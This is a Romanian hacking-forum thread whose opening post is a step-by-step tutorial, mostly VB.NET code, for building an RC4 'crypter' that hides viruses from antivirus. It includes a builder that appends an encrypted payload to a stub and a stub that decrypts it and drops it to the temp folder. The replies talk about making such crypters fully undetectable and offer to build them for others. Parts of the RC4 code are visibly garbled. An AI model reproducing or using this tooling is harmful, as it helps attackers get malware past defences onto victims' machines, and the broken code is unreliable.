Jump to content
io.kent

cum sa-ti faci propriul tau crypter in visual basic.net

Recommended Posts

Posted

Azi va explic cum sa faceti un crypter simplu si folositor, cu care ascundeti tot felul de virusi, sau asa mai departe..

Incepem...

Destul de usor, pentru a creea un proiect pentru windows... Forms Application, inainte de toate

aveti nevoie de versiunea Frameworks 2.0.

Public Class Form1 aici scriem asa,

Imports System.Text

dupa

Public Class Form1

trebuie sa mai scriem inca 2 lini

StubPath Dim, binpath As String 
Const FileSplit = "# @ by io.kent"

dupa aia scriem stub privat end stub si scriem asa,

Dim openstub As New OpenFileDialog
If openstub.ShowDialog = Windows.Forms.DialogResult.OK Then
TextBox1.Text = openstub.FileName
StubPath = openstub.FileName
TextBox1.Enabled = False
Else : Exit Sub
End If

Acum vom trece la formularul de editor ?i apoi dublu-clic pe butonul Bin meu, inca odata suntem in editor de cod, modificam acesta, in comparatie cu primul buton : codul,

Dim openbin As New OpenFileDialog
If openbin.ShowDialog = Windows.Forms.DialogResult.OK Then
TextBox2.Text = openbin.FileName
BinPath = openbin.FileName
TextBox2.Enabled = False
Else : Exit Sub
End If

ei bine pana aici floare la ureche, acum incepe distractia, ?i anume punerea in aplicare baza Builder functionalitatea)

facem un dublu click pe butonul 3 ( salvare)sau memorare.. in forma noastra, Daca persoana face clic pe OK incepe magia (adica criptare a fi?ierelor sale). Scrie ca acest cod :

Dim filein, filename, stub As String
Dim OutFile As New SaveFileDialog
If OutFile.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = OutFile.FileName
FileOpen(1, BinPath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, StubPath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "MadebyMrGr33n"))
FileClose(1)
MsgBox("File Crypted")
Else : Exit Sub
End If

daca va da un error sau ceva e pentru ca lipseste RC4, Aceasta caracteristica cripteaza binarele noastre

Acum vom scrie (copy-paste intre liniile End Sub End Class):

Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox( + key() Mod 256
Dim tempSwap As Integer = sbox(
sbox( = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(, b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function

ne intoarcem acum la stub, stub-ul trebuie sa fie capabil sa sa faca la fel ca si clientul doar ca o face invers,

pe baza binara, cifrata

facerea unui nou ( proiect ) valorile sunt la fel ca clientul in continuare dam dublu click pe

Public Class Form1

si pune codul asta :

Imports System.Text

intre linii Public Class Form1 si Sub Form Private ...

Const filesplit = "#Crypter By io.kent@"

intre linii private Form Sub .. End Sub ?i scrie cod:  
On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), " MadebyMrGr33n")
FileOpen(5, TPath & "Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
Me.Close()
End

iara avem probleme cu RC4 care acum scrie intre linii

End Sub  End Class

Imports System.Text
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox( + key() Mod 256
Dim tempSwap As Integer = sbox(
sbox( = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(, b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function

si asa stub-ul este terminat acum apasam tasta f5 pentru a salva proiectul ..

Restul depinde de voi, aceste crypter nu este foarte detectat, dar nici nu este fud:

Bafta...

Posted

nu este greu, o sa incerc sa fac unu cu o versiune actualizabina, dar mai trebuie muncit la el, + am sa fac si un video...

functii se pot adauga cate vrei asta depinde de fiecare, ceea ce vrea sa faca crypterul sau, in rest important este sa nu fie foarte detectabil.. sper sa ajute pe cei ce vor sa isi faca cate 1 crypter..

Posted
trimite-mi pm, cu ce vrei si ce optiuni sa aibe, si ajungem la o intelegere...

optiuni poate sa adauge orice gaina. Doar crypt FUD, fara nimic altceva.

Posted

Frumos tutorial. Nu am stat sa analizez tot codul, pare a fi un crypter simplu.

Bun tutorial pt invatacei.

Ai fi putut sa comentezi mai mult codul.

PS: Nu mai cautati FUD-uri. Ca sa-ti faci un crypter bun ai nevioie de ceva cunostinte de threading si de cateva exploit-uri.

@io.kent Sa faci si un tutorial cu bazele USG, sper ca mai bine explicat.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...